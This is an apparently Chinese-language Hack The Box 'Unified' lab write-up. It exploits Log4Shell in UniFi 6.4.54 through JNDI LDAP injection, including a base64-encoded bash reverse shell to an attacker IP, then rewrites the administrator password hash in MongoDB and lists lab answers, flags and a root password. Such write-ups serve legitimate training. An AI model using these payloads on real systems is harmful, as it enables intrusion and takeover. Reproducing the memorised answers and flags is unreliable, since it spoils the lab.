文章目录
- [一 Unified 测试过程](#一 Unified 测试过程)
- 
- [1.1 打点](#1.1 打点)
- [1.2 权限获取](#1.2 权限获取)
- [1.3 权限提升](#1.3 权限提升)
 
- [二 题目](#二 题目)
一 Unified 测试过程
1.1 打点
** 1.端口扫描**
            
            
              c
              
              
            
          
          nmap -sV -sC ** 2.访问8080端口**
页面跳转到:https://10.129.96.149:8443/manage/account/login?redirect=%2Fmanage
  观察到版本号为unifi 6.4.54

**  3.搜索Unifi 6.5.54是否存在相关漏洞**
发现Unifi 6.5.54版本存在 CVE-2021-44228
            
            
              c
              
              
            
          
          JNDI注入:
${jndi:ldap://10.10.14.20/whatever}"
虽然响应报错,但是${jndi:ldap://10.10.14.35/whatever}"正在执行

1.2 权限获取
JNDI注入工具地址:https://github.com/welk1n/JNDI-Injection-Exploit
使用JNDI注入工具进行反弹shell:
            
            
              php
              
              
            
          
          # shell
bash -i >& /dev/tcp/10.10.14.35/4444 0>&1
            
            
              php
              
              
            
          
          # 对shell进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
            
            
              php
              
              
            
          
          # 工具执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A "10.10.14.35"
            
            
              php
              
              
            
          
          # 攻击机器执行监听
ncat -lnvp 4444burpsuite执行payload:

获取到shell:

查找user.flag:

1.3 权限提升
** 1.查看系统运行服务**
            
            
              php
              
              
            
          
          # 查看进程,发现mongod
ps
            
            
              php
              
              
            
          
          # 运行在27117端口
ps aux | grep mongo
** 2.尝试与mongodb数据库交互**
google搜索UniFi Default Database可以发现,UniFi默认数据库为ace
            
            
              c
              
              
            
          
          mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"输出可以看出,administrator用户与其他多个用户,密码为hash


** 3.尝试获取administrator用户密码**
            
            
              php
              
              
            
          
          # 从$6$可知,密码采用SHA512
$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.既然无法破解,尝试是否可以使用新密码的sha 512 hash 替换原本的密码,使用mkpasswd工具:
            
            
              c
              
              
            
          
          mkpasswd -m sha-512 新密码
            
            
              c
              
              
            
          
          mongo --port 27117 ace --eval 'db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$nU10gu5LmDqVlHpK$FcKCyQI/SPV/L6oZEbqOLf1ukIk./E18MRnDLaiDY7PcTn/AF2k9p0C0F6qH1Ys6V30Hxc2.eSIQd.KKmrsNg1"}})'
**  4.使用administrator:Test1234登录网站**
发现存在SSH登录身份验证设置:

**  5.获取到 root:NotACrackablePassword4U2022 使用ssh连接
 **
**
二 题目
++Tags++
            
            
              c
              
              
            
          
          Web、Vulnerability Assessment、Databases、Injection、Custom Applications、Outdated Software、MongoDB、Java、Reconnaissance、Clear Text Credentials、Default Credentials、Code Injection
译文:漏洞评估、数据库、注入、自定义应用程序、过时软件、MongoDB、Java、侦察、明文凭据、默认凭据、代码注入++Connect++
            
            
              c
              
              
            
          
          To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。++SPAWN MACHINE++
            
            
              c
              
              
            
          
          Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处++TASK 1++
            
            
              c
              
              
            
          
          Which are the first four open ports?
译文:前四个开放端口是哪四个?
答:22,6789,8080,8443++TASK 2++
            
            
              c
              
              
            
          
          What is the title of the software that is running running on port 8443?
译文:在端口 8443 上运行的软件的标题是什么?
答:UniFi Network++TASK 3++
            
            
              c
              
              
            
          
          What is the version of the software that is running?
译文:正在运行的软件版本是什么?
答:6.4.54++TASK 4++
            
            
              c
              
              
            
          
          What is the CVE for the identified vulnerability?
译文:已识别漏洞的 CVE 是什么?
答:CVE-2021-44228++TASK 5++
            
            
              c
              
              
            
          
          What protocol does JNDI leverage in the injection?
译文:JNDI在注入中使用什么协议?
答:ldap++TASK 6++
            
            
              c
              
              
            
          
          What tool do we use to intercept the traffic, indicating the attack was successful?
译文:我们用什么工具拦截流量,表明攻击成功?
答:tcpdump++TASK 7++
            
            
              c
              
              
            
          
          What port do we need to inspect intercepted traffic for?
译文:我们需要检查哪个端口的拦截流量?
答:389++TASK 8++
            
            
              c
              
              
            
          
          What port is the MongoDB service running on?
译文:MongoDB 服务运行在哪个端口上?
答:27117++TASK 9++
            
            
              c
              
              
            
          
          What is the default database name for UniFi applications?
译文:UniFi 应用程序的默认数据库名称是什么?
答:ace++TASK 10++
            
            
              c
              
              
            
          
          What is the function we use to enumerate users within the database in MongoDB?
译文:我们用什么函数来枚举MongoDB数据库中的用户?
答:db.admin.find()++TASK 11++
            
            
              c
              
              
            
          
          What is the function we use to update users within the database in MongoDB?
译文:我们用什么函数来更新MongoDB数据库中的用户?
答:db.admin.update()++TASK 12++
            
            
              c
              
              
            
          
          What is the password for the root user?
译文:root 用户的密码是什么?
答:NotACrackablePassword4U2022++SUBMIT FLAG++
            
            
              c
              
              
            
          
          Submit user flag
译文:用户flag
答:6ced1a6a89e666c0620cdb10262ba127++SUBMIT FLAG++
            
            
              c
              
              
            
          
          Submit root flag
译文:提交root flag
答:e50bc93c75b634e4b272d2f771c33681